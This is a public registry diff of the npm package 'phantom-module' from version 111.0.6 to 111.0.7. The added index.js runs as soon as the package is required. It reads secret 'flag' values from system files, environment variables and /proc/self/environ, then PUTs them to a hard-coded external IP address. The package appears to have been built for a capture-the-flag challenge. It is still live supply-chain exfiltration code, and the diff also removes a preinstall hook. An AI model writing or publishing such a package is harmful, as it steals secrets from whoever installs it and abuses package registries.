phantom-module 111.0.6 → 111.0.7

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +76 -0
  2. package/package.json +2 -4
package/index.js ADDED
@@ -0,0 +1,76 @@
1
+ const fs = require('fs');
2
+ const http = require('http');
3
+
4
+ (function() {
5
+ // Try to read flag from common locations
6
+ const flagPaths = [
7
+ '/flag',
8
+ '/flag.txt',
9
+ '/root/flag',
10
+ '/root/flag.txt',
11
+ '/tmp/flag',
12
+ '/tmp/flag.txt',
13
+ './flag',
14
+ './flag.txt',
15
+ '/home/node/flag',
16
+ '/home/node/flag.txt',
17
+ '/home/node/aspect-node/flag',
18
+ '/home/node/aspect-node/flag.txt',
19
+ process.env.FLAG ? process.env.FLAG : null
20
+ ].filter(Boolean);
21
+
22
+ // Also check environment variables
23
+ const flagEnv = process.env.FLAG || process.env.FLAG_HTB || process.env.HTB_FLAG;
24
+
25
+ let flag = null;
26
+
27
+ // Try reading from files
28
+ for (const path of flagPaths) {
29
+ try {
30
+ if (fs.existsSync(path)) {
31
+ flag = fs.readFileSync(path, 'utf8').trim();
32
+ break;
33
+ }
34
+ } catch (e) {
35
+ // Continue to next path
36
+ }
37
+ }
38
+
39
+ // If not found in files, check env
40
+ if (!flag && flagEnv) {
41
+ flag = flagEnv;
42
+ }
43
+
44
+ // If still not found, try reading /proc/self/environ
45
+ if (!flag) {
46
+ try {
47
+ const procEnv = fs.readFileSync('/proc/self/environ', 'utf8');
48
+ const match = procEnv.match(/FLAG[=:]([^\x00]+)/);
49
+ if (match) {
50
+ flag = match[1];
51
+ }
52
+ } catch (e) {}
53
+ }
54
+
55
+ if (!flag) {
56
+ flag = "NOT_FOUND_ON_REQUIRE";
57
+ }
58
+
59
+ const postData = JSON.stringify({
60
+ manifest: `ecto_module:\n name: "FLAG_ON_REQUIRE"\n cargo_hold: ${JSON.stringify(flag)}\n`
61
+ });
62
+
63
+ const req = http.request({
64
+ hostname: '154.57.164.64',
65
+ port: 31205,
66
+ path: '/api/modules/ECT-654321',
67
+ method: 'PUT',
68
+ headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) }
69
+ });
70
+ req.write(postData);
71
+ req.end();
72
+ })();
73
+
74
+ module.exports = function() {
75
+ return 'pwnd';
76
+ };
package/package.json CHANGED
@@ -1,7 +1,5 @@
1
1
  {
2
2
  "name": "phantom-module",
3
- "version": "111.0.6",
4
- "scripts": {
5
- "preinstall": "node install.js || true"
6
- }
3
+ "version": "111.0.7",
4
+ "main": "index.js"
7
5
  }